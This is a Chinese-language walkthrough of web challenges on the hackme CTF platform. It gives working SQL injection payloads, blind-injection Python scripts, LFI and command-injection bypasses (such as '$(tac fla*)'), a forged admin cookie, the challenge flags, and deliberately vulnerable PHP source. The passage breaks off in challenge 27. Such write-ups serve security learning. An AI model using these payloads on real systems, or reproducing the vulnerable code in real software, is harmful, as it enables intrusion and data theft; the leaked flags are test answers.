快轉到主要內容

CTF 「hackme」Web Write Up

·17858 字
Computer-Science CTF
目錄

前言
#

之前沒有打 CTF,這陣子心血來潮想說也來玩玩看好了,順便做個紀錄。
有些題目真的設計的蠻有趣的,後悔沒有早點接觸。

以下的內容包含解答,並且只有Web題內容,介意者請斟酌觀看。


Link#

首頁:https://ctf.hackme.quest/

題目:https://ctf.hackme.quest/scoreboard/

輸入 Flag 的位置在題目頁面下方


15. hide and seek
#

Can you see me? I’m so close to you but you can’t see me.

這題是個開場,題目本身就在首頁 https://ctf.hackme.quest/ 中。
算是一個不成文的默契吧,第一題 flag 通常就放在原始碼下。

FLAG{0h U C meeeeeeeeeeeeeeeeeeee!}


16. guestbook
#

This guestbook sucks. sqlmap is your friend.

該頁面有一個讓訪客可以留言並觀看的功能,加上題目提示提到「sqlmap」,所以這題應該是 SQL Injection

點擊New Post可以張貼文章,Message List 可以看到張貼的文章。
先發篇測試,然後到Message List查看:



到目前為止都沒問題,但看到了網址後,感覺有注入點可以嘗試。

嘗試讓id值失效,並在後面加上臭名昭彰的union select大法試試,然後就踹到了:

id=-133 UNION SELECT 1,2,3,4 -- #

接著就開始循序踹database nametable namecolumn name

id=-133 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),4 -- #

找到table name為「flag

id=-133 UNION SELECT 1,2,(SELECT column_name FROM information_schema.columns WHERE table_name='flag' LIMIT 1),4 -- #

找到column name也叫「flag

接著直接查詢該欄位第一筆資料:

id=-133 UNION SELECT 1,2,(SELECT flag FROM flag LIMIT 1),4 – #

有點尷尬的是它回覆了一個網址,該網址是一張動圖…


找第二筆資料就可以看到 flag 了:

id=-133 UNION SELECT 1,2,(SELECT flag FROM flag LIMIT 1,1),4 – #


17. LFI
#

What this admin’s password? That is not important at all, just get the flag.
Tips: LFI, php://filter

該頁面共有四個連結,「Hack Me」連到首頁,其餘三個分別是採用GET方式傳路徑的方式,估計是用該參數來決定要引入什麼頁面,而這邊應該就有漏洞了。

舉例Home連結傳送了「?page=pages/index」,先嘗試更改路徑成不存在的目錄?page=pages/abc

嘗試訪問敏感資訊?page=pages/../../etc/passwd

確診 LFI

題目提示「php://filter」,這是 PHP 的功能,我們可以利用它來幫助我們讀出原始碼,這很常在 CTF 上看到。

使用php://filter/read=convert.base64-encode/resource=path即可以base64編碼的方式讀取該檔案(resource的值),於是乎:

?page=php://filter/read=convert.base64-encode/resource=pages/index

把它拿去解碼,得到訊息「There is no second place like 127.0.0.1」,看來 flag 不在這個檔案中。
嘗試看看Login,並解碼:

?page=php://filter/read=convert.base64-encode/resource=pages/login

 1<?php
 2require('config.php');
 3if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {
 4    echo $flag;
 5} else {
 6?>
 7<form action="?page=pages/login" method="post" role="form">
 8 <div class="form-group">
 9  <label for="user-i">User</label>
10  <input type="text" class="form-control" id="user-i" placeholder="Username" name="user">
11 </div>
12 <div class="form-group">
13  <label for="pass-i">Password</label>
14  <input type="password" class="form-control" id="pass-i" placeholder="Password" name="pass">
15 </div>
16 <button type="submit" class="btn btn-primary">Login</button>
17</form>
18<?php } ?>

找到變數$flag,但似乎是被宣告在config.php這個檔案中,所以再用php://filter戳它一次:

?page=php://filter/read=convert.base64-encode/resource=pages/config

1<?php
2$flag = "FLAG{Yoooooo_LFI_g00d_2cXxsXSYP9EVLrIo}";

18. homepage
#

Where is the flag? Did you check the code?

這題一樣是在首頁,題目提示你看程式碼的部份。

其實只要看 console 的部份就可以看到大大的 QR Code 了
掃下去就可以得到 Flag FLAG{Oh, You found me!!!!!! Yeeeeeeee.}

這邊是去引入一個叫做cute.js的檔案,裡面的東西非常奇葩…

後來看到有人說是一種叫做「AAEncode」的編碼…專門把 Javascript 轉成顏文字。

拿去 Decode 之後就可以得到:

 1function print_qrcode(qrcode, color, fill) {
 2  var args = [];
 3  var buff = [];
 4
 5  for (var i = 0; i < qrcode.length; i++) {
 6    var row = qrcode[i];
 7    for (var j = 0; j < qrcode[0].length; j++) {
 8      buff.push("%c\u2588\u2588");
 9      args.push("color:" + ("1" == row[j] ? color : fill));
10    }
11    buff.push("\n");
12  }
13  args.unshift(buff.join(""));
14  console.log.apply(console, args);
15}
16var qrcode = ["11111110001000110011101111111", "10000010111000110100101000001", "10111010100000100100001011101", "10111010010010010001001011101", "10111010111010111010101011101", "10000010101010011001001000001", "11111110101010101010101111111", "000000001011000101101", "1101001100011110101000111011", "1111000111011010110011110001", "1101111000011100101100011001", "110111011111110110110101001", "01011011001100101111111101001", "00100101010101000101110000111", "00011011000101100110011001111", "1010110101010001111101101001", 
17"00001011110011000111110001111", "0101100100001110100011110001", "10010111100110100010110111011", "0010110110101011011010011101", "10010110010000001010111110111", "0000000011110010110110001111", "1111111010100000101010101111", "10000010000000111000100011101", "10111010001010001000111110011", "1011101010111000001010100111", "10111010001010000111110010001", "1000001011101111111110010101", "1111111011010110010011001101"];
18print_qrcode(qrcode, "#333", "#fff");

19. ping
#

Can you ping 127.0.0.1?

這題是玩Command Injection,題目提供了原始碼,可以看到有個black list在擋我們的payload,任務就是繞過它。

其實資安一直在說的一個觀念就是,多使用white list而非black list
這題可能是想傳達這樣的概念吧。

先測試正常使用,在輸入框中寫上127.0.0.1

它會將輸出原封不動顯示出來。
黑名單中擋了許多東西,但… 沒有擋到$(),因此可以用$(command)來觸發指令。


先使用ls查看當前目錄下有什麼,輸入$(ls)

可以看到ping的錯誤使用提示,這段訊息已經足夠讓我們知道,該目錄下有index.phpflag.php這兩個檔案了。

接下來就是將flag.php的內容給輸出,直覺上會使用cat指令,但它在黑名單中。
不過要查看檔案內容有許多方式,例如有個指令叫做tac,它是cat倒過來寫,意思是由檔案最後一行往前讀取。

至於檔名的部份,同樣因為黑名單無法直接輸入flag.php,這個繞過的方式也是一堆,這邊就不贅述,用*繞過即可。

輸入$(tac fla*),獲得 flag FLAG{ping_$(capture-the-flag)_UtUbtnvY5F9Hn5dR}


20. scoreboard
#

DO NOT ATTACK or SCAN scoreboard, you don’t need to do that.

這題也算是常見的一種玩法,就是把訊息塞在封包的header中,你可以在裡面找到一個叫做x-flag的東西。

FLAG{Header can hide some data aswell.}


21. login as admin 0
#

SQL Injection!

Um… 非常明確,就是 SQL Injection,試著戳進登入系統。
p.s. 關於login as admin的題目有好多個階段。

先照它說的輸入guest/guest看看:

(p.s. 點擊上面的 Source Code 可以看原始碼)

嘗試帳號輸入admin,密碼用\' OR 1 -- #繞過:

Um… 登入是登入了,但這種方式只能進到第一筆資料,而第一筆資料放的是guest
但不影響,這已經確認存在 SQL Injection,只要稍微修改 Payload 即可。

帳號admin,密碼輸入\' OR 1 LIMIT 1,1 -- #來看第二筆資料:

拿到 Flag FLAG{\' UNION SELECT "I Know SQL Injection" #}


22. login as admin 0.1
#

Grab the hidden flag

同一個頁面,要找到另一個 Flag。
猜測 Flag 應該也是放在資料庫中,因此開始踹大門:

帳號admin,密碼輸入\' UNION SELECT 1,database(),3,4 -- #

可以看到UNION SELECT大法奏效。
接著進一步撈資料庫,先找出該資料庫中的table有哪些:

\' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() ),3,4 -- #

找到 table h1dden_f14g
再挖它的欄位:

\' UNION SELECT 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name="h1dden_f14g"),3,4 -- #

欄位叫做the_f14g,直接查詢就拿到 Flag FLAG{Good, Union select is quite easy to exploit!}

\' UNION SELECT 1,(SELECT GROUP_CONCAT(the_f14g) FROM h1dden_f14g),3,4 -- #

23. login as admin 1
#

Please login as admin.
Tips: SQL Injection but sqlmap not working anymore.
Update: Source code is available now.
Scanner WON'T WORK

Um… 測試一下,上一題的 Payload 在這題已經無效了。
那麼嘗試戳出其他洞看看。

戳了一下發現,可以把\'/**/OR/**/1/**/#塞在密碼來登入。
p.s. SQL 可以用/**/來代替空格

雖然成功登入admin,但卻沒有讀取 Flag 的權限:

開使用UNION SELECT大法\'/**/UNION/**/SELECT/**/1,2,3,4/**/#

拿到 Flag FLAG{He110, Admin\\' or 1337 < 314159 #}
(os: 我以為還要再戳進去才會看到…)


24. login as admin 1.2
#

Get another flag
Tips: boolean-based SQL injection, information_schema

原以為跟前面的套路一樣,用UNION SELECT踹進大門就可以看到其他隱藏的 Flag。
但問題是,這個頁面並沒有顯示任何UNION SELECT出來的欄位。

沒有直接顯示我們要的回應資訊,那麼就只能盲注了。
(這題是boolean-basedblind-injection)


雖然說無法直接取得回應,但可以知道兩個資訊

  • 該資料表有4個欄位(用UNION SELECT試出來)
  • 有個判斷「是否為管理員」的機制

先猜測這四個欄位中,有一個是用來判斷是否為管理員的。
因此分別將其設置為0來看是哪個欄位:

  • \'/**/UNION/**/SELECT/**/0,2,3,4/**/#
  • \'/**/UNION/**/SELECT/**/1,0,3,4/**/#
  • \'/**/UNION/**/SELECT/**/1,2,0,4/**/#
  • \'/**/UNION/**/SELECT/**/1,2,3,0/**/#

13個欄位為0時均回應「You are admin!

4個欄位為0時則回應

由此可以猜測,第4個欄位應該就是一個boolean判斷是否為管理員的功能。
這裡就可以當作一個盲注的互動點。


Blind-Injection 流程解析

第一步一樣先撈出table名稱,於是一樣使用之前的 payload

1SELECT/**/GROUP_CONCAT(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()

但無法直接得出回傳結果,所以要將上述的句子改為用判斷式確認,以回傳boolean的方式來檢測是否正確。

白話的說,在前幾題,我們是直接詢問 server「請問 table 名稱是什麼?」,然後 server 直接回應查詢結果。
而這題的 server 只會回答,雖然說麻煩了點,但我們依舊可以與 server 達到互動。

你只需要一直嘗試問 server「請問 table 名稱是xxx嗎?」,server 回應「」,你又再問「那麼是ooo嗎?」,server 又回答你「」,直到 server 回應「」,這時候你就知道 table 的名稱是什麼。

但這樣做是以暴力破解的方式,這可會耗上大把時間,有更好的作法。
我可以詢問 server 「請問 table 名稱第一個字是「a」嗎?」一直問到回應「」後,接著問第二個字。

寫成 SQL Payload 的話大概是:

1\'/**/UNION/**/SELECT/**/1,2,3,IF(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()),字元序,1))="猜測字元的 ASCII",1,0)/**/#

整個語法第四個UNION SELECT的欄位被換成這句:

1IF(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()),字元序,1))="猜測字元的 ASCII",1,0)

這邊先用到了「SUBSTR()」這個 SQL Function 來取 table 名稱的第幾個字,它的用法是SUBSTR(字串,從第幾個字開始,取幾個字)
所以上面的例子中,字串GROUP_CONCAT(table_name)回傳的結果,也就是所有 table 的名字。
從第幾個字開始就是對應到了例子中的字元序,這是一個變數。
最後取幾個字填上1,每次只猜一個字。

這麼一來就會陸續返回一個字元,在拿這個字元來比對我們是否猜對。
但由於這可能包含特殊符號,因此在比對之前,習慣先用一個 Function「ASCII()」來將字元轉成ASCII編碼,再做比對。
當然後方的猜測字元的 ASCII就是陸續填入可視字元範圍的ASCII Code即可。

(p.s. 可視字元 ASCII Code 範圍為 32 ~ 127)


這需要嘗試非常多次,因此通常這題會建議寫成腳本來執行。
以下使用 python3 來撰寫請求及判斷回應的腳本,用這種方式來blind-injection

 1import requests
 2from bs4 import BeautifulSoup
 3
 4datas = {'name': 'admin', 'password': "payload"}
 5table = ''
 6
 7for i in range(1,128):
 8  print(str(i)+": ", end="")
 9  for j in range(32,127):
10    datas['password'] =
11    '\\\'/**/UNION/**/SELECT/**/1,2,3,IF(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()),'+str(i)+',1))="'+str(j)+'",1,0)/**/#'
12    r = requests.post('https://ctf.hackme.quest/login1/', data=datas)
13    soup = BeautifulSoup(r.text, 'html.parser')
14    text = soup.find('h4').text
15    if text=='You are admin!':
16      table = table + chr(j)
17      print("Table: "+table)
18      break

預估整個GROUP_CONCAT(table_name)長度在128以下,所以寫一個跑128次的迴圈。
而該迴圈裡面在寫一個迴圈用來陸續填入可視字元範圍比對。

最後判斷返回的結果若顯示「You are admin!」則表示 server 回應,這時候就將該字元記錄下來。

程式執行結果如下:

 1$ python3 ctf.php
 2
 31: Table: 0
 42: Table: 0b
 53: Table: 0bd
 64: Table: 0bdb
 75: Table: 0bdb5
 86: Table: 0bdb54
 97: Table: 0bdb54c
108: Table: 0bdb54c9
119: Table: 0bdb54c98
1210: Table: 0bdb54c981
1311: Table: 0bdb54c9812
1412: Table: 0bdb54c98123
1513: Table: 0bdb54c98123f
1614: Table: 0bdb54c98123f5
1715: Table: 0bdb54c98123f55
1816: Table: 0bdb54c98123f552
1917: Table: 0bdb54c98123f5526
2018: Table: 0bdb54c98123f5526c
2119: Table: 0bdb54c98123f5526cc
2220: Table: 0bdb54c98123f5526cca
2321: Table: 0bdb54c98123f5526ccae
2422: Table: 0bdb54c98123f5526ccaed
2523: Table: 0bdb54c98123f5526ccaed9
2624: Table: 0bdb54c98123f5526ccaed98
2725: Table: 0bdb54c98123f5526ccaed982
2826: Table: 0bdb54c98123f5526ccaed982d
2927: Table: 0bdb54c98123f5526ccaed982d2
3028: Table: 0bdb54c98123f5526ccaed982d20
3129: Table: 0bdb54c98123f5526ccaed982d200
3230: Table: 0bdb54c98123f5526ccaed982d2006
3331: Table: 0bdb54c98123f5526ccaed982d2006a
3432: Table: 0bdb54c98123f5526ccaed982d2006a9
3533: Table: 0bdb54c98123f5526ccaed982d2006a9,
3634: Table: 0bdb54c98123f5526ccaed982d2006a9,u
3735: Table: 0bdb54c98123f5526ccaed982d2006a9,us
3836: Table: 0bdb54c98123f5526ccaed982d2006a9,use
3937: Table: 0bdb54c98123f5526ccaed982d2006a9,user
4038: Table: 0bdb54c98123f5526ccaed982d2006a9,users

可以得知有兩個 table 0bdb54c98123f5526ccaed982d2006a9users,flag 應該在前者沒錯了。


之後繼續用同樣套路盲注column名字:

 1import requests
 2from bs4 import BeautifulSoup
 3
 4datas = {'name': 'admin', 'password': "payload"}
 5column = ''
 6
 7for i in range(1,128):
 8  print(str(i)+": ", end="")
 9  for j in range(32,127):
10    datas['password'] = '\\\'/**/UNION/**/SELECT/**/1,2,3,IF(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_name="0bdb54c98123f5526ccaed982d2006a9"),'+str(i)+',1))="'+str(j)+'",1,0)/**/#'
11    r = requests.post('https://ctf.hackme.quest/login1/', data=datas)
12    soup = BeautifulSoup(r.text, 'html.parser')
13    text = soup.find('h4').text
14    if text=='You are admin!':
15      column = column + chr(j)
16      print("Column: "+column)
17      break
11: Column: 4
22: Column: 4a
33: Column: 4a3
4.
5.
6.
733: Column: 4a391a11cfa831ca740cf8d00782f3a6,
834: Column: 4a391a11cfa831ca740cf8d00782f3a6,i
935: Column: 4a391a11cfa831ca740cf8d00782f3a6,id

可以看到結果有兩個欄位(UNION SELECT雖然看到是4個欄位,但應該是關聯了users這張 table 所以執行結果應該是沒錯的)


最後再撈 Flag,查看0bdb54c98123f5526ccaed982d2006a9表中的4a391a11cfa831ca740cf8d00782f3a6欄位:

 1import requests
 2from bs4 import BeautifulSoup
 3
 4datas = {'name': 'admin', 'password': "payload"}
 5flag = ''
 6
 7for i in range(1,128):
 8  print(str(i)+": ", end="")
 9  for j in range(32,127):
10    datas['password'] = '\\\'/**/UNION/**/SELECT/**/1,2,3,IF(ASCII(SUBSTR((SELECT/**/GROUP_CONCAT(4a391a11cfa831ca740cf8d00782f3a6)/**/FROM/**/0bdb54c98123f5526ccaed982d2006a9),'+str(i)+',1))="'+str(j)+'",1,0)/**/#'
11    r = requests.post('https://ctf.hackme.quest/login1/', data=datas)
12    soup = BeautifulSoup(r.text, 'html.parser')
13    text = soup.find('h4').text
14    if text=='You are admin!':
15      flag = flag + chr(j)
16      print("Flag: "+flag)
17      break
 11: Flag: F
 22: Flag: FL
 33: Flag: FLA
 44: Flag: FLAG
 55: Flag: FLAG{
 66: Flag: FLAG{W
 77: Flag: FLAG{W0
 88: Flag: FLAG{W0W
 99: Flag: FLAG{W0W,
1010: Flag: FLAG{W0W, 
1111: Flag: FLAG{W0W, Y
1212: Flag: FLAG{W0W, Yo
1313: Flag: FLAG{W0W, You
1414: Flag: FLAG{W0W, You 
1515: Flag: FLAG{W0W, You f
1616: Flag: FLAG{W0W, You fo
1717: Flag: FLAG{W0W, You fou
1818: Flag: FLAG{W0W, You foun
1919: Flag: FLAG{W0W, You found
2020: Flag: FLAG{W0W, You found 
2121: Flag: FLAG{W0W, You found t
2222: Flag: FLAG{W0W, You found th
2323: Flag: FLAG{W0W, You found the
2424: Flag: FLAG{W0W, You found the 
2525: Flag: FLAG{W0W, You found the c
2626: Flag: FLAG{W0W, You found the co
2727: Flag: FLAG{W0W, You found the cor
2828: Flag: FLAG{W0W, You found the corr
2929: Flag: FLAG{W0W, You found the corre
3030: Flag: FLAG{W0W, You found the correc
3131: Flag: FLAG{W0W, You found the correct
3232: Flag: FLAG{W0W, You found the correct 
3333: Flag: FLAG{W0W, You found the correct t
3434: Flag: FLAG{W0W, You found the correct ta
3535: Flag: FLAG{W0W, You found the correct tab
3636: Flag: FLAG{W0W, You found the correct tabl
3737: Flag: FLAG{W0W, You found the correct table
3838: Flag: FLAG{W0W, You found the correct table 
3939: Flag: FLAG{W0W, You found the correct table a
4040: Flag: FLAG{W0W, You found the correct table an
4141: Flag: FLAG{W0W, You found the correct table and
4242: Flag: FLAG{W0W, You found the correct table and 
4343: Flag: FLAG{W0W, You found the correct table and t
4444: Flag: FLAG{W0W, You found the correct table and th
4545: Flag: FLAG{W0W, You found the correct table and the
4646: Flag: FLAG{W0W, You found the correct table and the 
4747: Flag: FLAG{W0W, You found the correct table and the f
4848: Flag: FLAG{W0W, You found the correct table and the fl
4949: Flag: FLAG{W0W, You found the correct table and the fla
5050: Flag: FLAG{W0W, You found the correct table and the flag
5151: Flag: FLAG{W0W, You found the correct table and the flag,
5252: Flag: FLAG{W0W, You found the correct table and the flag, 
5353: Flag: FLAG{W0W, You found the correct table and the flag, a
5454: Flag: FLAG{W0W, You found the correct table and the flag, an
5555: Flag: FLAG{W0W, You found the correct table and the flag, and
5656: Flag: FLAG{W0W, You found the correct table and the flag, and 
5757: Flag: FLAG{W0W, You found the correct table and the flag, and U
5858: Flag: FLAG{W0W, You found the correct table and the flag, and Us
5959: Flag: FLAG{W0W, You found the correct table and the flag, and Use
6060: Flag: FLAG{W0W, You found the correct table and the flag, and User
6161: Flag: FLAG{W0W, You found the correct table and the flag, and UserA
6262: Flag: FLAG{W0W, You found the correct table and the flag, and UserAg
6363: Flag: FLAG{W0W, You found the correct table and the flag, and UserAge
6464: Flag: FLAG{W0W, You found the correct table and the flag, and UserAgen
6565: Flag: FLAG{W0W, You found the correct table and the flag, and UserAgent
6666: Flag: FLAG{W0W, You found the correct table and the flag, and UserAgent}

這題 Flag 也太長了吧… 網路不好,等很久… (一定是故意的)
總之這題就是… Blind-Injection,然後很費時。

Flag: FLAG{W0W, You found the correct table and the flag, and UserAgent}


25. login as admin 3
#

login as admin

接下來幾題都沒有提示,由於沒有方向,就去看它的source code來找洞解。

Source code:

  1<?php
  2require('users_db.php'); // $users
  3
  4if($_GET['show_source'] === '1') {
  5    highlight_file(__FILE__);
  6    exit;
  7}
  8
  9if($_GET['logout'] === '1') {
 10    setcookie('user', '', 0);
 11    header('Location: ./');
 12}
 13
 14function set_user($user_data)
 15{
 16    global $user, $secret;
 17
 18    $user = [$user_data['name'], $user_data['admin']];
 19
 20    $data = json_encode($user);
 21    $sig = hash_hmac('sha512', $data, $secret);
 22    $all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
 23    setcookie('user', $all, time()+3600);
 24}
 25
 26$error = null;
 27
 28function load_user()
 29{
 30    global $secret, $error;
 31
 32    if(empty($_COOKIE['user'])) {
 33        return null;
 34    }
 35
 36    $unserialized = json_decode(base64_decode($_COOKIE['user']), true);
 37    $r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];
 38
 39    if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
 40        $error = 'Invalid session';
 41        return false;
 42    }
 43
 44    $data = json_decode($unserialized['data'], true);
 45    return [
 46        'name' => $data[0],
 47        'admin' => $data[1]
 48    ];
 49}
 50
 51$user = load_user();
 52
 53if(!empty($_POST['name']) && !empty($_POST['password'])) {
 54    $user = false;
 55    foreach($users as $u) {
 56        if($u['name'] === $_POST['name'] && $u['password'] === $_POST['password']) {
 57            set_user($u);
 58        }
 59    }
 60}
 61?><!DOCTYPE html>
 62<html lang="en">
 63<head>
 64    <meta charset="UTF-8">
 65    <title>Login As Admin 3</title>
 66    <meta name="viewport" content="width=device-width, initial-scale=1">
 67    <link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">
 68</head>
 69<body>
 70    <div class="jumbotron">
 71        <div class="container">
 72            <h1>Login as Admin 3</h1>
 73        </div>
 74    </div>
 75
 76    <div class="container">
 77        <div class="navbar">
 78            <div class="container-fluid">
 79                <div class="navbar-header">
 80                    <a class="navbar-brand" href="/">Please Hack Me</a>
 81                </div>
 82                <ul class="nav navbar-nav">
 83                    <li>
 84                        <a href="/scoreboard">Scoreboard</a>
 85                    </li>
 86                    <li>
 87                        <a href="?show_source=1" target="_blank">Source Code</a>
 88                    </li>
 89<?php if($user): ?>
 90                    <li>
 91                        <a href="?logout=1">Logout</a>
 92                    </li>
 93<?php endif; ?>
 94                </ul>
 95            </div>
 96        </div>
 97    </div>
 98
 99<?php if($error !== null): ?>
100    <div class="container">
101        <div class="alert alert-danger"><?=$error?></div>
102    </div>
103<?php endif; ?>
104
105    <div class="container">
106        <div class="col-md-6 col-md-offset-3">
107<?php if(!$user): ?>
108<?php if($user === false): ?>
109            <div class="alert alert-danger">Login failed</div>
110<?php endif; ?>
111            <form action="." method="POST">
112                <div class="form-group">
113                    <label for="name">User:</label>
114                    <input id="name" class="form-control" type="text" name="name" placeholder="User">
115                </div>
116                <div class="form-group">
117                    <label for="password">Pass:</label>
118                    <input id="password" class="form-control" type="text" name="password" placeholder="Password">
119                </div>
120                <div class="form-group">
121                    <input class="form-control btn btn-primary" type="submit" value="Login">
122                </div>
123            </form>
124
125            <div>
126                <p>
127                    You can login with <code>guest</code> / <code>guest</code>.
128                </p>
129            </div>
130<?php else: ?>
131            <h3>Hi, <?=htmlentities($user['name'])?></h3>
132
133            <h4><?=sprintf("You %s admin!", $user['admin'] ? "are" : "are not")?></h4>
134
135            <?php if($user['admin']) printf("<code>%s</code>", htmlentities($flag)); ?>
136<?php endif; ?>
137        </div>
138    </div>
139</body>
140</html>

稍微看過之後,大概了解了流程是,使用者輸入帳號密碼後,會將用戶資訊附上簽章,以json格式進行base64編碼後寫在 cookie 中。
在驗證使用者資訊時,會再次運算使用者資訊,並與簽章做判斷是否相符。

乍看之下該流程似乎無懈可擊,但有個點很奇怪…
為何在大多數判斷式都是以「===」來判斷,但在load_user()這個 funcion 中卻是以!=判斷,這是不精確的一種邏輯運算子(應該使用!==更為精確)。
(p.s. 如果不清楚=====差別,請自行 Google,本文不再贅述)

這會讓我想到著名的 PHP 處理 MD50e 開頭字串總是判斷為0的特性。(使用==情況下)


這題主要重點是要將判斷式hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']給繞過。
先以guest/guest登入訪客帳號。
這時候可以看到已經生成一個cookie叫做user了。

將其值以base64解碼後,會得到一串json格式的字串「{"sig":"75d53f97acd211098a052b305d1caf191436c6d29d1936d947f8fde7733008a3968edaa4b4a68242db8696030505273914ded688d459e8c9225200d729a0b98e","data":"[\"guest\",false]"}」。

其中sig就是憑證,而data裝的則是使用者是否為管理員
我們需要拿到管理員權限,因此先將驗證是否為管理員的欄位改為true
但如果就這麼將 cookie 塞回去則 server 會在判斷時發現data內容與對應的簽章不符而導致驗證失敗。

接著將sig改為true

如此一來判斷式將會將會變成hash_hmac('sha512', $unserialized['data'], $secret) != true

不管經過hash_hmac()運算過後的結果如何,只要不出錯,都一律被當作true!=做判斷,所以該判斷式將一律為false,也就可以繞過了。

Payload {"sig":true,"data":"[\"guest\",true]"},記得base64編碼後再塞回去 cookie。(eyJzaWciOnRydWUsImRhdGEiOiJbXCJndWVzdFwiLHRydWVdIn0=)

Flag FLAG{H3110, 4dm1n1576a70r... 1f y0u kn0w my 53cR37 and Use STRONG COMPARE pls}


26. login as admin 4
#

login as admin

Source code:

 1<?php
 2require('config.php');
 3
 4if($_GET['show_source'] === '1') {
 5    highlight_file(__FILE__);
 6    exit;
 7}
 8
 9if($_POST['name'] === 'admin') {
10    if($_POST['password'] !== $password) {
11        // show failed message if you input wrong password
12        header('Location: ./?failed=1');
13    }
14}
15?><!DOCTYPE html>
16<html lang="en">
17<head>
18    <meta charset="UTF-8">
19    <title>Login As Admin 4</title>
20    <meta name="viewport" content="width=device-width, initial-scale=1">
21    <link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">
22</head>
23<body>
24    <div class="jumbotron">
25        <div class="container">
26            <h1>Login as Admin 4</h1>
27        </div>
28    </div>
29
30    <div class="container">
31        <div class="navbar">
32            <div class="container-fluid">
33                <div class="navbar-header">
34                    <a class="navbar-brand" href="/">Please Hack Me</a>
35                </div>
36                <ul class="nav navbar-nav">
37                    <li>
38                        <a href="/scoreboard">Scoreboard</a>
39                    </li>
40                    <li>
41                        <a href="?show_source=1" target="_blank">Source Code</a>
42                    </li>
43                </ul>
44            </div>
45        </div>
46    </div>
47
48    <div class="container">
49        <div class="col-md-6 col-md-offset-3">
50<?php if($_GET['failed'] == '1'): ?>
51            <div class="alert alert-danger">Login failed</div>
52<?php endif; ?>
53
54<?php if($_POST['name'] === 'admin'): /* login success! */ ?>
55            <div class="alert alert-success"><code><?=$flag?></code></div>
56<?php else: ?>
57            <form action="." method="POST">
58                <div class="form-group">
59                    <label for="name">User:</label>
60                    <input id="name" class="form-control" type="text" name="name" placeholder="User">
61                </div>
62                <div class="form-group">
63                    <label for="password">Pass:</label>
64                    <input id="password" class="form-control" type="text" name="password" placeholder="Password">
65                </div>
66                <div class="form-group">
67                    <input class="form-control btn btn-primary" type="submit" value="Login">
68                </div>
69            </form>
70<?php endif; ?>
71        </div>
72    </div>
73</body>
74</html>

這題主要是在講一個觀念「敏感資料不會因為不輸出在頁面上就不被看到」。
可以看到在密碼判斷不符合後,設計者使用header()來將使用者重新導向。
但之後的程式碼還是會繼續執行,只是因為頁面被導向,所以表面上看不到,只要用一些工具就可以看到了(例如curl)。

1curl -X POST -d "name=admin&password=password" https://ctf.hackme.quest/login4/
 1<!DOCTYPE html>
 2<html lang="en">
 3<head>
 4    <meta charset="UTF-8">
 5    <title>Login As Admin 4</title>
 6    <meta name="viewport" content="width=device-width, initial-scale=1">
 7    <link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">
 8</head>
 9<body>
10    <div class="jumbotron">
11        <div class="container">
12            <h1>Login as Admin 4</h1>
13        </div>
14    </div>
15
16    <div class="container">
17        <div class="navbar">
18            <div class="container-fluid">
19                <div class="navbar-header">
20                    <a class="navbar-brand" href="/">Please Hack Me</a>
21                </div>
22                <ul class="nav navbar-nav">
23                    <li>
24                        <a href="/scoreboard">Scoreboard</a>
25                    </li>
26                    <li>
27                        <a href="?show_source=1" target="_blank">Source Code</a>
28                    </li>
29                </ul>
30            </div>
31        </div>
32    </div>
33
34    <div class="container">
35        <div class="col-md-6 col-md-offset-3">
36
37            <div class="alert alert-success"><code>FLAG{Remember add exit after redirection..}</code></div>
38        </div>
39    </div>
40</body>
41</html>

Flag FLAG{Remember add exit after redirection..}


27. login as admin 6
#

login as admin

Source code:

  1<?php
  2@error_reporting(E_ALL^E_NOTICE);
  3require('config.php');
  4
  5if($_GET['show_source'] === '1') {
  6    highlight_file(__FILE__);
  7    exit;
  8}
  9
 10$user = null;
 11
 12// connect to database
 13
 14if(!empty($_POST['data'])) {
 15    try {
 16        $data = json_decode($_POST['data'], true);
 17    } catch (Exception $e) {
 18        $data = [];
 19    }
 20    extract($data);
 21    if($users[$username] && strcmp($users[$username], $password) == 0) {
 22        $user = $username;
 23    }
 24}
 25?><!DOCTYPE html>
 26<html lang="en">
 27<head>
 28    <meta charset="UTF-8">
 29    <title>Login As Admin 6</title>
 30    <meta name="viewport" content="width=device-width, initial-scale=1">
 31    <link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">
 32</head>
 33<body>
 34    <div class="jumbotron">
 35        <div class="container">
 36            <h1>Login as Admin 6</h1>
 37        </div>
 38    </div>
 39
 40    <div class="container">
 41        <div class="navbar">
 42            <div class="container-fluid">
 43                <div class="navbar-header">
 44                    <a class="navbar-brand" href="/">Please Hack Me</a>
 45                </div>
 46                <ul class="nav navbar-nav">
 47                    <li>
 48                        <a href="/scoreboard">Scoreboard</a>
 49                    </li>
 50                    <li>
 51                        <a href="?show_source=1" target="_blank">Source Code</a>
 52                    </li>
 53                </ul>
 54            </div>
 55        </div>
 56    </div>
 57
 58    <div class="container">
 59        <div class="col-md-6 col-md-offset-3">
 60<?php if(!$user && isset($_POST['data'])): ?>
 61            <div class="alert alert-danger">Login failed</div>
 62<?php endif; ?>
 63<?php if(!$user): ?>
 64            <form action="." method="POST" id="form_login">
 65                <div class="form-group">
 66                    <label for="username">User:</label>
 67                    <input id="username" class="form-control" type="text" name="name" placeholder="User">
 68                </div>
 69                <div class="form-group">
 70                    <label for="password">Pass:</label>
